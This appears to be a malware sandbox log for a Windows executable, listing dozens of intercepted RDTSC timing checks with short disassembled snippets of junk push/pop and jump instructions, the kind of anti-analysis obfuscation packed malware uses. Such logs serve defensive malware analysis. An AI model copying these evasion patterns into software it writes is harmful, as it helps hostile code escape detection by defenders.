Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2DDF7 second address: A2DE07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F87A4B03876h 0x0000000a jns 00007F87A4B03876h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2DE07 second address: A2DE15 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2DE15 second address: A2DE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2BE6A second address: A2BE6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2BFE2 second address: A2BFE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2BFE7 second address: A2C00E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F87A450AC66h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F87A450AC66h 0x00000014 jmp 00007F87A450AC73h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2C3E2 second address: A2C3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F87A4B0387Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2C960 second address: A2C97D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F87A450AC66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F87A450AC6Eh 0x00000015 jnc 00007F87A450AC66h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2CBC7 second address: A2CBCC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2CE60 second address: A2CE6D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2D452 second address: A2D458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2D789 second address: A2D79D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F87A450AC6Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2DAE3 second address: A2DAEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F87A4B03876h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A302C6 second address: A302CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A302CA second address: A302D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A34BD1 second address: A34BE5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F87A450AC66h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A34BE5 second address: A34BEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A34BEB second address: A34BF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A34BF8 second address: A34C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F87A4B03876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A37C07 second address: A37C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A37C0B second address: A37C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A37E85 second address: A37E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A37E8B second address: A37EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F87A4B03881h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A3800A second address: A3800F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A382AA second address: A382B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A382B2 second address: A382C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F87A450AC66h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A382C5 second address: A382C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A3FE3F second address: A3FE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A3FE43 second address: A3FE4F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jp 00007F87A4B03876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A4013B second address: A40146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F87A450AC66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A4041C second address: A40426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A40426 second address: A4042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A4055B second address: A40569 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F87A4B03876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A40569 second address: A405A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F87A450AC79h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A405A1 second address: A405A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A414F9 second address: A41510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F87A450AC6Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A3F4DE second address: A3F4E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A3F4E3 second address: A3F4E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A3F4E9 second address: A3F4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F87A4B03876h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A3F4F8 second address: A3F4FE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A47EF8 second address: A47F22 instructions: 0x00000000 rdtsc 0x00000002 je 00007F87A4B03876h 0x00000008 jnp 00007F87A4B03876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F87A4B03881h 0x00000016 jo 00007F87A4B03876h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A481E5 second address: A48209 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F87A450AC66h 0x00000008 jp 00007F87A450AC66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jg 00007F87A450AC6Ch 0x00000016 jng 00007F87A450AC66h 0x0000001c jc 00007F87A450AC72h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A48209 second address: A4820F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A49A82 second address: A49A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F87A450AC66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A49A8E second address: A49A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F87A4B0387Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A49A9D second address: A49ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F87A450AC66h 0x0000000a jmp 00007F87A450AC74h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A59954 second address: A59982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F87A4B03876h 0x0000000a jmp 00007F87A4B0387Bh 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F87A4B03883h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A59982 second address: A5999A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F87A450AC6Ch 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A5950B second address: A5950F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A5950F second address: A59517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A5C48D second address: A5C498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A620BA second address: A620D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Bh 0x00000007 jl 00007F87A450AC66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A620D3 second address: A620D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A620D7 second address: A620DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A620DB second address: A620E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A620E1 second address: A620E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A727FD second address: A72801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A72801 second address: A7281B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F87A450AC66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F87A450AC6Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A72F25 second address: A72F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A72F2F second address: A72F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F87A450AC66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A72F40 second address: A72F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A73077 second address: A7307D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A7307D second address: A73090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F87A4B03876h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F87A4B03876h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A73220 second address: A73225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76E5A second address: A76E66 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76E66 second address: A76E6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76E6F second address: A76E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F87A4B03876h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A7698F second address: A76995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76995 second address: A76999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76999 second address: A7699F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76B2B second address: A76B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F87A4B03876h 0x0000000a pop ecx 0x0000000b jmp 00007F87A4B03887h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76B53 second address: A76B59 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76B59 second address: A76B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76B65 second address: A76B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A76B69 second address: A76B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A804F0 second address: A804F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A804F6 second address: A804FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A880E5 second address: A880F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F87A450AC66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F87A450AC6Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A96F0B second address: A96F13 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A96F13 second address: A96F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A96F19 second address: A96F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A96F1D second address: A96F31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jnl 00007F87A450AC66h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A9942A second address: A9942E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A9942E second address: A99434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA195D second address: AA1961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA07B4 second address: AA07CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F87A450AC68h 0x0000000b push edi 0x0000000c jnc 00007F87A450AC66h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA0A9B second address: AA0AB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F87A4B0387Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA0D46 second address: AA0D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA0D4A second address: AA0D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F87A4B03876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA0D56 second address: AA0D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA0D5F second address: AA0D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA1022 second address: AA1041 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F87A450AC71h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA1041 second address: AA1045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA11B2 second address: AA11CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA11CE second address: AA11EB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F87A4B03884h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA136B second address: AA1389 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F87A450AC6Bh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007F87A450AC6Eh 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA14DF second address: AA14E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
